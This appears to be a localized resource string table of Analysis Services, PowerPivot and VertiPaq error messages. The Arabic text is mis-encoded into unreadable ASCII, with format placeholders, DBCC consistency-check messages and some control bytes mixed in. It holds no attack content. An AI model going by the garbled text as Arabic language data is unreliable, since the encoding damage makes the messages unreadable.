HG0' :J1 E3EH- (G DD#9E/) 'DEH,H/) 9DI ,'F( H'-/ D9D'B) EF 9/J/ %DI H'-/ #H DD#9E/) 'D*J *O3*./E CEA*'- #3'3J D,/HD.�'DBJE) 'DE-//) DD.'5J) '%{IMBIColumnId/}' 'D.'5) ('DC'&F ErrorConfiguration DJ3* 5'D-). A'DBJE) 'DE9*E/) 'DH-J/) GJ '%{value/}'.�J4*ED (O9/ E,EH9) 'DEBJ'3 '%{detaildimension/}' 9DI ShareDimensionStorage EO9JF %DI "E4*1C". AJ -JF #F 0DC D' JO9*E/ %D' AJ 'DH69 ,/HDJ AB7.sJ*901 %F4'! 9D'B) ,/J/) AJ 'D,/HD '%{Table/}' D#FG JB/E *C1'1K' AJ 'D9D'B) AJE' (JF 'D,/HDJF 'D*'DJJF: '%{Cycle/}'.�%F 'D9EDJ) 9DI '%{name/}' %{typename/} D' JECF %CE'DG' D#FG' *$/J %DI %F4'! 9D'B) :'E6) AJE' (JF (O9/J 'DE1,9 '%{startname/}' H'%{endname/}' HGH 'D#E1 'D0J D' J9*(1 5'D-K' AJ 'DH69 'D,/HDJ.d%F #E1 DDL 'DE3EI '%{commandname/}' 9DI '%{name/}' %{typename/} :J1 E9*E/ D#F 'DC'&F AJ 'DH69 ,/HDJ.ZD' J9*(1 Aggregation Design 9DI '%{name/}' %{typename/} E9*E/K' D#F 'DC'&F AJ 'DH69 ,/HDJ.nJ,( H,H/ E3'1 DD(O9/ 'DE1,9J :J1 E,3E '%{refdimname/}' AJE' (JF '%{startname/}' H'%{endname/}' AJ 'DH69 ,/HDJ.|J,( #F J4*ED 'D(O9/ '%{IMBITableId/}' 9DI 3E) H'-/) 9DI 'D#BD JCHF FH9 'D1(7 'D.'5 (G' GH 'ColumnBinding' AJ 'DH69 VertiPaq.A*E* E5'/A) B3E) 9// 5-J- 9DI 5A1 AJ E9'D, '3*9D'E'* E-1C 'D*.2JF.gA4D *-HJD FH9 'D(J'F'* D@ ['D,/HD: '%{IMBITableId/}' 'D9EH/: '%{IMBIColumnId/}' 'DBJE): '%{value/}'].�*E *9JJF OrderByAttributeID '%{orderby/}' :J1 5'D- AJ 'D(O9/ '%{IMBITableId/}' 'D3E) '%{IMBIColumnId/}' 'D*J *4J1 %DI 3E) EF 'DFH9 1BE 5A.�'DC'&F '%{typename/}' '%{objectname/}': D' JECF #F *4*ED 'D.'5J) 'OrderBy' %D' 9DI BJE) 'Key' #H 'AttributeKey' AJ 'DH69 VertiPaq.eJ4*ED 'D(O9/ '%{IMBITableId/}' 9DI 9EH/ E-3H( '%{IMBIColumnId/}' %D' #FG :J1 E1*(7 (#J E,EH9) EB'JJ3.YJH,/ .7# AJ (F'! 'D,ED) AJ 'D9EH/ 'DE-3H( '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}'.R'DBJE) '%{value/}' DD.'5J) '%{name/}' 'D.'5) ('DC'&F ErrorConfiguration :J1 5'D-).PA�D' JECF #F J4*ED 'D(O9/ '%{dimname/}' 'D3E) '%{name/}' %D' 9DI 'NullProcessing' E9JF %DI 'Error' AB7 -J+ %F 'D3E) B/ *E *-/J/G' C#3'3J) #H A1J/).JA4D (O9/ 'DE9'D,) '%{name/}' D#FG *E *-/J/ 9EDJ'* 1(7 .'1, 'D.7 :J1 C'AJ).�J.*DA 9// 'DEB'79 ('D9EH/ '%{ColId/}' 9F 9// EB'79 'DB3E. B/ JCHF 'D3(( 'DE-*ED DG0G 'DE4CD) GH *DA EDA (J'F'* *91JA 'D,/HD '%{strPartFileName/}'.-/+ .7# #+F'! %F4'! E+JD 'DC'&F '%{InstObjClass/}' ('D'3E '%{strObjectName/}': AB/ C'F EF 'DE*HB9 #F *CHF A&) 'DC'&F 'D#5D '%{ExpectedParentObjClass/}' HDCF HO,/ #F A&) 'DC'&F 'DEB/E) GJ '%{PassedParentObjClass/}'. 'D3(( 'DE-*ED DG0G 'DE4CD) GH *DA EDA (J'F'* *91JA 'D,/HD.�**E 'DC*'() AHB 'DEDA 'DEH,H/ '%{filename/}' #+F'! -A8 (J'F'* PowerPivot 'DE6EF) DD(O9/ '%{dimname/}'. [Save Mask='0x%{msksave/}'][Data Object State='%{dostate/}']. HG0' .7# .'/E /'.DJ.�-'D) E9'ED'* :J1 5'D-) #+F'! -A8 (J'F'* PowerPivot 'DE6EF) DD(O9/ '%{dimname/}'. [Server State='%{serverstate/}'][Caller='%{caller/}'][Dimension State='%{dimstate/}'][Table State='%{tablestate/}']. HG0' .7# .'/E /'.DJ.�-/+ .7# #+F'! %F4'! E+JD 'DC'&F '%{InstObjClass/}': D' JECF #F JCHF '3E 'DC'&F A'1:K' DC'&F'* 'D(J'F'* 'DB'(D) DD*3D3D. 'D3(( 'DE-*ED DG0G 'DE4CD) GH *DA EDA (J'F'* *91JA 'D,/HD.�*E 'D9+H1 9DI 9B/) :J1 E*HB9) #+F'! %D:'! 'D*3D3D DC'&F 'D(J'F'* '%{ObjClass/}'. 'D3(( 'DE-*ED DG0G 'DE4CD) GH *DA EDA (J'F'* *91JA 'D,/HD.qD' JECF %F4'! 'D(O9/ '%{IMBITableId/}' AJ 'DH69 'D,/HDJ D#FG J-// *1*J(K' E*9//K' #H %9/'/'* 'DD:) D#9E/) E.*DA).�-/+ .7# #+F'! %D:'! *3D3D 'D9EH/ '%{strColumnName/}': J,( %D:'! *3D3D .1J7) EB79 'D9EH/ H %F4'! E+JD DG' B(D %F4'! E+JD D#9E/) 'D,/HD. 'D3(( 'DE-*ED GH *DA EDA (J'F'* *91JA 'D,/HD 'D.'5 ('D,/HD '%{strTableName/}'.c'3E 'D(O9/ DDEC9( '%{cubedimensionname/}' D' J*7'(B E9 '3E (O9/ B'9/) 'D(J'F'* 'DE*7'(B '%{name/}'.]'3E 'D(O9/ DD*A'5JD '%{name/}' D' J*7'(B E9 '3E (O9/ 'DEC9( 'DE*7'(B '%{cubedimensionname/}'.ZJ4*ED 'D9EH/ 'DE-3H( '%{dimension/}'['%{calccolumn/}'] DD1(7 9DI *91JA DataSize :J1 E9*E/.�3E'* 'DFH9 'D+F'&J :J1 E/9HE) C#9E/) #3'3J). H*E *-/J/ 'D3E) '%{IMBIColumnId/}' ('9*('1G' 3E) +F'&J) HEF +E D' JECF '3*./'EG' CEA*'- #3'3J DD(O9/ '%{IMBITableId/}'.�3E'* 'DFH9 'D+F'&J :J1 E/9HE) C#9E/) #3'3J). H*E *-/J/ 'D3E) '%{IMBIColumnId/}' ('9*('1G' 3E) +F'&J) AJ 'D(O9/ '%{IMBITableId/}' HEF +E D' JECF '3*./'EG' CEA*'- .'1,J.�D' JECFC *:JJ1 'D3E) 'D+F'&J) %DI FH9 (J'F'* E.*DA #H *:JJ1 3E) :J1 +F'&J) %DI FH9 +F'&J: 'D3E) '%{IMBIColumnId/}' AJ 'D(O9/ '%{IMBITableId/}'.PA<*4*ED 'D.'5J) '%{name/}' 9DI BJE) :J1 E9*E/) AJ 'DH69 ,/HDJ.iE,EH9) 'DEB'JJ3 '%{mgname/}' *A*B/ %DI 'D(O9/ 'DE1,9J DD9D'B) :J1 'DE('41) 'D-'DJ) ('D(O9/ '%{dimname/}'.aJ,( #F *-*HJ E9DHE'* 'D,/HD 'D*J *E %1,'9G' (H'37) 9B/) 'DE9'D,) 'DE3'9/) 9DI B3E H'-/ 9DI 'D#BD.�**HB9 9B/) 'DE9'D,) 'D1&J3J) 9//K' E.*DAK' EF 'D#B3'E 'DE6EF) AJ '3*,'() 9B/) 'DE9'D,) 'DE3'9/) 'D9// 'DE*HB9: %d{ExpCount/} 'D9// 'D0J *E %1,'9G: %d{RetCount/}.�D' **HB9 9B/) 'DE9'D,) 'D1&J3J) #F J*E *6EJF E9DHE'* G0' 'DB3E (E91A 'DB3E = '%{strPartId/}') AJ '3*,'() 9B/) 'DE9'D,) 'DE3'9/).�J,( #F **3DE 9B/) 'DE9'D,) 'D1&J3J) ,EJ9 E9DHE'* 'D#B3'E 'DE*HB9) EF '3*,'() 9B/) 'DE9'D,) 'DE3'9/) (E' J*AB E9 #E1 'DB3E AJ 'D,/HD 'D1&J3J E91A'* 'D#B3'E 'D1&J3J) = '%{strExpPartIds/}' E91A'* 'D#B3'E 'DE3*DE) = '%{strRecPartIds/}'.PAwJ4*ED 'D9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' 9DI BJE) '%{value/}' :J1 'DE9*E/) (1BE 'D371 '%{line/}').KD' JECF *-HJD BJE) '%{value/}' EF 'DFH9 %{srctype/} %DI 'DFH9 %{desttype/}.�D' JECF %F4'! 9D'B) #H *9/JDG' (JF 9EH/ EA*'- .'1,J '%{fktable/}'[%{fkcol/}] H9EH/ EA*'- #3'3J '%{pktable/}'[%{pkcol/}] D#F FH9J 'D(J'F'* :J1 E*H'ABJF.4A4D* EDA'* BH'9/ 'D(J'F'* AJ *E1J1 '.*('1'* 'D*F'3B.=H3J7) :J1 5'D-). FH9 (J'F'* *,EJ9 :J1 E9*E/ DDEBJ'3 VertiPaq.�'D*3D3D'* 'DGJCDJ) #5D-*'(9 :J1 E9*E/) AJ 'DH69 ,/HDJ 9F/E' J4*ED 'DE3*HI '%{level/}' 9DI E1,9 %DI E91A 3E) 'D#5D '%{parentpropertyid/}'.TD' J4*ED 'D*3D3D 'DGJCDJ '%{hier/}' 9DI E3*HI ALL H'D0J J9/ E7DH(K' AJ 'DH69 ,/HDJ.sD' JECF E9'D,) 'D9EH/ '%{IMBIColumnId/}' ('D,/HD '%{IMBITableId/}' D#FG J4*ED 9DI #C+1 EF EDJ'1JF EF 'DBJE 'DA1J/).Z*E H69 9D'E) E9'D, 9DI 'D*3D3D 'DGJCDJ '%{hier/}' AJ -JF #FG J4*ED 9DI FH9 GJCD :J1 E91HA.b*E H69 9D'E) E9'D, 9DI 'D*3D3D 'DGJCDJ '%{hier/}' AJ -JF #FG J4*ED 9DI -'D) A,H) B/JE) :J1 E91HA).gJF*EJ 'D*3D3D 'DGJCDJ '%{hier/}' %DI B'9/) (J'F'* **3E (H69 *H'AB D' J9*E/ 'D*3D3D'* 'DGJCDJ) DDE3*./E.fD' JECF *BJJE 'D'3*9D'E 'D-'DJ DD,/HD '%{IMBITableId/}' D#F 'D,/HD J4*ED 9DI #C+1 EF EDJ'1JF EF 'D5A.[D' JECF E9'D,) 'D*3D3D 'DGJCDJ '%{hier/}' D#FG B/ JCHF E4*ED'K 9DI #C+1 EF EDJ'1J 96H A1J/.FD' JECF E9'D,) 'D*3D3D 'DGJCDJ '%{hier/}' D#FG J4*ED 9DI 3E) 1BE 'D5A.WD' JECF 'D9+H1 9DI C'&F 'D9D'B) '%{relid/}'  (JF 'D,/HDJF '%{FKTable/}' H'%{PKTable/}'.�D' *7'(B *1CJ() 'DEA'*J- 'D#3'3J)/'D.'1,J) C'&F 'D9D'B) '%{relid/}' H'DE3'1 'DEA6D AJE' (JF 'D,/HDJF '%{FKTable/}' H'%{PKTable/}'.eJ,( #F J-// 'DE3'1 'DEA6D AJE' (JF 'D,/HDJF '%{FKTable/}' H'%{PKTable/}' E91A 'D9D'B) RelationshipID.�D' JECF 'D'3*9D'E 9F 'D*3D3D 'DGJCDJ '%{table/}'[%{hier/}] D#FG :J1 E9'D,. 'D1,'! *-/J+ 'D,/HD '%{recalctable/}' #H %9'/) -3'(G.�D' JECF %F4'! 'D(O9/ ('D,/HD) '%{IMBITableId/}' AJ 'DH69 'D,/HDJ D#F 'D3E) ('D9EH/) '%{IMBIColumnId/}' *1*(7 (FH9 (J'F'* +F'&J 0J .'5J) DataSize :J1 5'D-) #H :J1 E-//).�D' JECF '3*./'E 3E'* EF FH9 +F'&J AJ 'D*3D3D'* 'DGJCDJ) 'DE91A) (H'37) 'DE3*./E. -J+ *E *91JA 'D3E) '%{IMBIColumnId/}' AJ 'D(O9/ '%{IMBITableId/}' ('9*('1G' 3E) +F'&J).�E5/1 9EH/ FH9 'D(J'F'* +F'&J #C(1 EF 'D-,E 'DE-// AJ 'D.'5J) DataSize 9F/E' *E *91JA 'D9EH/. #H -,E (J'F'* C'&F +F'&J C(J1 'D-,E J*,'H2 'D-/ 'D#B5I 'DE3EH- (G.TJ,( #F *4*ED E,EH9) 'DEBJ'3 '%{mgname/}' 9DI B3E H'-/ 9DI 'D#BD E91A AJ 'DH69 ,/HDJ.�*1*(7 .'5J) 'D(O9/ '%{IMBIColumnId/}', AJ 'D(O9/ '%{IMBITableId/}' (9EH/ EF FH9 'D(J'F'* 'D+F'&J) :J1 E9*E/ AJ 'D%5/'1'* 'D3'(B) EF SQL Server.oD' JECF #F J*,'H2 'DB3E '%{partname/}' *CHJF .7# E,EH9) 'DEBJ'3 AJ -'D) *4:JD Analysis Services AJ 'DH69 ,/HDJ.`*E *9/JD (96 'D#B3'E AJ 'D0'C1) AJ FA3 'DE9'ED) B(D %,1'! 'D/E,. AJ -JF #F G0' :J1 E9*E/ -'DJK'.f'3E 'D*1*J( '%{CollationName/}' 'DE-// DD9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' :J1 5'D-.�D' JECF 'D'3*9D'E 9F 'DGJ'CD 'DE9*E/) 'D/'.DJ) DD9EH/ '%{table/}'[%{column/}] D#FG DE **E E9'D,*GE. 'D1,'! 'D*-/J+ 'D,/HD '%{recalctable/}' #H %9'/) -3'(G.rD' JECF E9'D,) 'DEC9( 9F/E' JCHF Analysis Services AJ 'DH69 ,/HDJ. 'D1,'! E9'D,) C'&F B'9/) 'D(J'F'* (/D'K EF 0DC.�D' JECF 'D'3*9D'E 9F 'DGJ'CD 'DE9*E/) 'D/'.DJ) DD9EH/ '%{table/}'[%{column/}] D#FG' *9*E/ 9DI 9EH/ #H 9D'B) #H EBJ'3 DE **E E9'D,*G. 'D1,'! *-/J+ 'DFEH0, #H %9'/) -3'(G.�D' JECF 'D'3*9D'E 9F 'D*3D3D 'DGJCDJ '%{table/}'[%{hier/}] D#FG J9*E/ 9DI 9EH/ #H 9D'B) #H EBJ'3 DE **E E9'D,*G. 'D1,'! *-/J+ 'DFEH0, #H %9'/) -3'(G.,FH9 'D(J'F'* DBTYPE='%d{dbtype/}' :J1 E9*E/.VD' JECF *FAJ0 'D'3*9D'E C*3D3D GJCDJ DD3E) -J+ %FG DE **E E9'D,) 'D3E) '%{ColumnId/}'.+J*901 'D9+H1 9DI ,/HD ('DEO91A '%{table/}'.KD' JECF 'D9+H1 9DI 9EH/ ('DE91A '%{column/}' AJ 'D,/HD ('DE91A '%{table/}'.lJ*901 %F4'! 9D'B) 3E) ,/J/) 9DI 'D,/HD '%{Table/}' D#FG JB/E -DB) 9D'B) 3E) (JF 'D3E'* 'D*'DJ): '%{Cycle/}'.�D' J-*HJ ,/HD Vertipaq "%{Table/}" 9DI #J) C'&F'* B3E E-//) H('D*'DJ D' JECF E9'D,*G. B/ J-/+ G0' AJ -'D) 9/E *1BJ) FEH0, (J'F'* PowerPivot 2010 (4CD EF'3(.�.'5J) 'D(O9/ '%{IMBIColumnId/}' AJ 'D(O9/ '%{IMBITableId/}' *-*HJ 9DI *3D3D GJCDJ D3E) E*H'AB) DE J*E *-3JFG EE' J*7D( #J6K' #F JCHF 'D*3D3D 'DGJCDJ :J1 E1&J.�DE J*E *-3JF 'D*3D3D 'DGJCDJ DD3E'* 'DE7'(B) D.'5J) 'D(O9/ '%{IMBIColumnId/}' AJ 'D(9/ '%{IMBITableId/}' 'D#E1 'D0J J*7D( #D' J*E A12 'D*3D3D 'DGJCDJ.{J,( #F *3*./E .'5J) (O9/ Vertipaq '%{ColumnId/}' AJ 'D(9/ '%{TableId/}' FA3 %9/'/ 'D*-3JF 'DEH,H/ AJ 'DEC9( '%{CubeId/}'.�DE J*E *-3JF 'D*3D3D 'DGJCDJ DD3E'* 'DE7'(B) D.'5J) 'D(9/ '%{ColumnId/}' AJ 'D(9/ '%{TableId/}' 'D#E1 'D0J J-81 'D'3*A'/) EF FH9 'DH5HD 'D0J *-'HD '3*./'EG.�J-*HJ 'D9EH/ '%{IMBIColumnId/}' AJ 'D,/HD '%{IMBITableId/}' 9DI *3D3D 3E'* GJCDJ E9 .'5J) "'3*./'E 9EH/ E9JF %DI '3*./'E DAX" 'D#E1 'D0J J*7D( #D' J*E A12 'D*3D3D 'DGJCDJ.�D' JECF *6EJF *3D3D'* 'D3E'* 'DGJCDJ) 'DEH,H/) AJ 'D#9E/) 'DE9JF) %DI '3*./'E DAX AJ 'D*3D3D'* 'DGJCDJ) 'DE91A) (H'37) 'DE3*./E. HB/ *E *9JJF 'D3E) '%{IMBIColumnId/}' AJ 'D(9/ '%{IMBITableId/}' %DI '3*./'E DAX.�D' JECF *1*J( *3D3D'* 'D3E'* 'DGJCDJ) 'DEH,H/) AJ 'D#9E/) 'DE9JF) %DI '3*./'E DAX (H'37) #J 9EH/ ".1. HB/ *E *9JJF 'D3E) '%{IMBIColumnId/}' AJ 'D(9/ '%{IMBITableId/}' %DI '3*./'E DAX.�D' JECF '3*./'E #9E/) E9JF (G' "'3*./'E 'D9EH/" %DI "'3*./'E DAX" AJ 9('1'* Where #H Order By #H Distinct 9F/E' JCHF H69 'D'3*9D'E E9JFK' %DI EA'*J- 'D(J'F'*. HB/ *E *9JJF '3*./'E 'D9EH/ %DI '3*./'E DAX ('D9EH/ '%{ColumnId/}'.�J-*HJ 'D9EH/ '%{IMBIColumnId/}' 'DEH,H/ AJ 'D,/HD '%{IMBITableId/}' 9DI 'D.'5J) "'3*./'E 'D9EH/ E9JF %DI '3*./'E DAX" HJ*7D( G0' #F JCHF E3*HI *H'AB B'9/) 'D(J'F'* EC'A&K' D@ 1103 #H #9DI.�J,( #F J-*HJ 'D9EH/ 'DE-3H( '%{dimension/}'['%{calccolumn/}'] DD1(7 9DI *91JA DCD EF OverrideDimensionID HOverrideAttributeID %D' #F #-/GE' EABH/.B%5/'1 :J1 E9*EN/ EF (1H*HCHD 'DE9'D,) 'DEH29) D*:JJ1 'D-,E 'D/'.DJA1#3 -ED :J1 E91HA D(1H*HCHD 'DE9'D,) 'DEH29) D*:JJ1 'D-,E 'D/'.DJT-ED #B3'E E,EH9) 'DEB'JJ3 :J1 E91HA D(1H*HCHD 'DE9'D,) 'DEH29) D*:JJ1 'D-,E 'D/'.DJ.E-ED 'D3E'* :J1 E91HA D(1H*HCHD 'DE9'D,) 'DEH29) D*:JJ1 'D-,E 'D/'.DJ.n*E 'DC4A 9F *:JJ1 :J1 E/9HE AJ *1EJ2 %-/I 'D3E'*. D0' J1,I %6'A) 'D(J'F'* E3(BK' D*,F( #J) *:JJ1'* AJ 'D*1EJ2.B'DE9DHE'* 'DE*9DB) (*91JA 'DEB79 :J1 E7'(B) D7D( 'DE9'D,) 'DEH29).,3J'B E9'ED) :J1 E*HB9 D7D( 'DE9'D,) 'DEH29).oD' JECF *-HJD 'DBJE) '%{value/}' EF 'DFH9 %{srctype/} %DI 'DFH9 %{desttype/} #+F'! E9'D,) 'D9EH/ - %{colName/}.WEDA (J'F'* *91JA ,/HD '%{table/}' *'DA. 'D,/HD 'D1&J3J :J1 EH,H/ 6EF 9B/) DataFileList.I*DA AJ 7(B) 'D*.2JF. E,EH9) 'D,/'HD AJ B'9/) 'D(J'F'* '%{parent/}' *'DA).,/HD 'DF8'E '%{table/}' EABH/.J*DA AJ 7(B) 'D*.2JF. E,EH9) 'D*/1,'* 'DG1EJ) AJ 'D,/HD '%{parent/}' *'DA).WA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF B'9/) (J'F'* '%{db/}'.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF ,/HD '%{tbl/}'.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF 9EH/ '%{col/}'.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF %-5'!'* 'D9EH/.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF %-5'!'* 'D,/HD.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF %-5'!'* 'DEB79.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF B'EH3 'D(J'F'*.ZA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF 'D*/1, 'DG1EJ '%{hier/}'.PA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF EB'79 'D(J'F'*.=*E 'C*4'A BJE) EC11) AJ E.2F 'DBJE) 'DA1J/) 'DEB*1F ('DB'EH3.-A4D %D:'! *3D3D ,/HD *,2&) (3(( *DA 'D(J'F'*.-A4D %D:'! *3D3D E.2F 3D3D) (3(( *DA 'D(J'F'*.NA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF E.2F 'D3D3D).UA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF E.2F 'D1EH2 'DEEJ2).A*DA AJ 7(B) 'D*.2JF. E,EH9) 'D#9E/) AJ 'D,/HD '%{parent/}' *'DA).B*DA AJ 7(B) 'D*.2JF. E,EH9) 'D9D'B'* AJ 'D,/HD '%{parent/}' *'DA).A*DA AJ 7(B) 'D*.2JF. E,EH9) 'D#B3'E AJ 'D,/HD '%{parent/}' *'DA).*E* E5'/A) FH9 ,/HD *'DA.A*DA AJ 7(B) 'D*.2JF. E,EH9) 'DEB'79 AJ 'D9EH/ '%{parent/}' *'DA).*E* E5'/A) FH9 EB79 *'DA.OA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF %-5'!'* 'DB3E.MA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF E.77 'DEB79.JA4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF 'D9D'B'*.PA�H',G FEH0, 'D(J'F'* 9/E '*3'B :J1 E*HB9 HD' JECF *-EJDG. EF 'DE*HB9 H,H/ ,/HD 'DF8'E '%{IMBITableId/}' AJ 'DE.77 %D' #FG J*901 'D9+H1 9DJG.�H',G FEH0, 'D(J'F'* 9/E '*3'B :J1 E*HB9 HD' JECF *-EJDG. J-*HJ FH9 *.2JF 'DB'EH3 DD9EH/ '%{col/}' AJ 'D,/HD '%{table/}' 9DI BJE) :J1 E*HB9) '%{storetype/}'.sH',G FEH0, 'D(J'F'* 9/E '*3'B :J1 E*HB9 HD' JECF *-EJDG. #3E' EDA B3E 'D9EH/ '%{file1/}' H'%{file2/}' :J1 E*7'(BJF.AJ-// 'D#E1 DBCC '3E 'DB3E (/HF '3E ,/HD. 'D1,'! *-/J/ '3E 'D,/HD.�*E *.5J5 'D#E1 DBCC API DD'3*./'E 6/ BH'9/ 'D(J'F'* 'D*J D' *3*./E %9/'/ TabularMetadata D.'5J) StorageEngineUsed. *-*HJ B'9/) 'D(J'F'* 'DG/A 9DI %9/'/ StorageEngineUsed E.*DA. 'D1,'! '3*./'E DBCC API (/JD).0A4D *4AJ1 'DBJE) - F7'B E91A 'D(J'F'* C(J1 ,/K'.PAB-/+ .7# #+F'! *-EJD C'&F'* (J'F'* Vertipaq DD,/HD "%{TableName/}".9-/+ .7# #+F'! *-EJD C'&F'* (J'F'* Vertipaq D,/'HD E*9//).�A4D BitPackCompression: .D'D E9'D,) 'DB3E 'D0J J-*HJ 9DI 'DAG13 %d{partIdx/} EF 'D9EH/ '%{IMBIColumnId/}' #(D: 'DEB79 'D0J J-*HJ 9DI 'DAG13 %d{segIdx/} 9F 9/E H,H/ #J -'D) EEJ2).o-/+ .7# #+F'! %F4'!/*9/JD EDA 'D*.2JF -J+ %F 'DEDA '%{filename/}' EH,H/ ('DA9D. H%5/'1 'DEDA 'D,/J/ :J1 5-J-. �5'/A* %5/'1'* ,/HD 'D-1C'* (JF ,/HD Vertipaq '%{IMBITableName/}' H*.2JF (J'F'* 'D*91JA 'D,/HDJ) -'D'* 9/E '*3'B :J1 E*HB9) #+F'! *FAJ0 -1C) (J'F'* 'D*91JA 'D,/HDJ). %5/'1 Vertipaq: %d{IMBIVersion/} %5/'1 (J'F'* 'D*91JA 'D,/HDJ): %d{TMVersion/}.�5'/A* %5/'1'* 'D,/HD 'D1&J3J (JF ,/HD Vertipaq '%{IMBITableName/}' H*.2JF (J'F'* 'D*91JA 'D,/HDJ) -'D'* 9/E '*3'B :J1 E*HB9) #+F'! *FAJ0 -1C) (J'F'* 'D*91JA 'D,/HDJ). %5/'1 Vertipaq: %d{IMBIVersion/} %5/'1 (J'F'* 'D*91JA 'D,/HDJ): %d{TMVersion/}.�5'/A* 'DF3.) 'D1&J3J) HF3.) 'D-1C) D,/HD Vertipaq: '%{IMBITableName/}' -'D'* 9/E '*3'B #+F'! *FAJ0 -1C) (J'F'* 'D*91JA 'D,/HDJ). 'D%5/'1 'D1&J3J: %d{MasterVersion/} %5/'1 'D-1C): %d{TxnVersion/}.�5'/A* %5/'1'* 'D,/HD (JF ,/HD Vertipaq '%{IMBITableName/}' H*.2JF (J'F'* 'D*91JA 'D,/HDJ) -'D'* 9/E '*3'B :J1 E*HB9) (9/ *-EJD (J'F'* *91JA Vertipaq. %5/'1 Vertipaq: %d{IMBIVersion/} %5/'1 (J'F'* 'D*91JA 'D,/HDJ): %d{TMVersion/}.`*E F3. E.77 VertiPaq AJ 9EDJ) VertiPaq DCF DE J*E %F4'! SavePoint 'D,/HDJ) AJ 'D9EDJ) 'D,/HDJ).~-/+ .7# #+F'! -A8 C'&F'* (J'F'* VertiPaq (4CD E*H'2J DDE.77 "%{SchemaName/}" H'D,/HD "%{TableName/}" H'D9EH/ "%{ColumnName/}".C-/+ .7# #+F'! 'D*-EJD 'DE*H'2J DC'&F (J'F'* Vertipaq D9D'B'* E*9//)f-/+ .7# #+F'! -A8 C'&F'* (J'F'* VertiPaq (4CD E*H'2J DDE.77 "%{SchemaName/}" 'D,/HD "%{TableName/}".'N-/+ .7# #+F'! -A8 C'&F'* (J'F'* VertiPaq (4CD E*H'2J DDE.77 "%{SchemaName/}".'�FH9 'D(J'F'* '%{sourceValueType/}' D' J7'(B FH9 'D(J'F'* 'DE*HB9 '%{columnType/}' DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}' BF'9 'D9EH/ '%{columnMask/}'.�A4D 9EDJ'* 'D*-BB EF *F'3B B'9/) 'D(J'F'* (DBCC) #+F'! 'D*-BB EF E.77 'DEB79 E*9// 'D#B3'E JB9 partIndex %ld{PartIndex/} .'1, 'DF7'B 'D5'D- [0, %ld{SegCount/}).|J*E *4:JD Analysis Services AJ 'DH69 ,/HDJ HDG0' JECF *9JJF 'D.'5J) StorageMode DE,EH9) 'DEBJ'3 '%{name/}' %DI InMemory AB7.PAvJ*E *4:JD Analysis Services AJ 'DH69 ,/HDJ HDG0' D' JECF *9JJF 'D.'5J) StorageMode DD(O9/ '%{name/}' %DI InMemory AB7.sDJ3 EF 'DE*HB9 #F JCHF 'D,/HD '%{IMBITableId/}' 1&J3JK'. **7D( 'D9EDJ) 'D-'DJ) #F *CHF CD 'D,/'HD (-'D) :J1 1&J3J).PAjE5FA Excel 'DEDA '%{XLSXPathname/}' D' J4*ED 9DI (J'F'* PowerPivot E6EF) #H *E 'C*4'A .7# (J'F'* *'DA).hDE J*E 'D9+H1 9DI (J'F'* PowerPivot 'DE6EF) DE91A ItemId 'DE-// AJ E5FA Excel 'DEDA '%{XLSXPathname/}'.G*E *-EJD Windows 8 DLL ('DA9D H*E '3*/9'! OffGemHrInitLibrary() ('DA9D.**E '3*/9'! OffGemHrUnInitLibrary() ('DA9D.7-/+ .7# /'.DJ #+F'! 'D9ED E9 (J'F'* PowerPivot 'DE6EF).]*E 'D9+H1 9DI '*5'D EB*1F ((J'F'* PowerPivot 'DE6EF) AJ E5FA Excel 'DEDA '%{XLSXPathname/}'.YGF'C '*5'D *'DA EB*1F ((J'F'* PowerPivot 'DE6EF) AJ E5FA Excel 'DEDA '%{XLSXPathname/}'.�#+F'! %,1'! ImageLoad EF FabricHost 9ED '3*/9'! 'D.'5J) IDatabaseBackupReadStream::SizeRemaining() 9DI %1,'9 -,E */AB :J1 5'D- J3'HJ %ld{size/}.	#+F'! %,1'! ImageLoad EF FabricHost DE J9ED '3*/9'! 'D.'5J) IDatabaseBackupReadStream::Read() 9DI %1,'9 'DB/1 'DE7DH( EF 'D(J'F'*: 'D-,E 'DE7DH( GH %ld{reqSize/} 'D-,E 'DEB1H! GH %ld{readSize/} 'D-,E 'DE*(BJ GH %ld{remSize/} -,E 'D*/AB 'D#HDJ GH %ld{initSize/}.�#+F'! %,1'! ImageLoad EF FabricHost A4D '3*/9'! 'D.'5J) PFMemeStream::Write() AJ C*'() 'DB/1 'DE7DH( EF 'D(J'F'*: 'D-,E 'DE7DH( GH %ld{reqSize/} 'D-,E 'DEC*H( GH %ld{writtenSize/} 'D-,E 'DE*(BJ GH %ld{remSize/} -,E 'D*/AB 'D#HDJ GH %ld{initSize/}.c#+F'! ImageLoad EF FabricHost (9/ B1'!) CD H-/'* 'D('J* JCHF 'D9// 'DE*(BJ DH-/'* 'D('J* :J1 5A1J.�#+F'! ImageLoad EF FabricHost (9/ B1'!) CD H-/'* 'D('J* EF 'D/AB 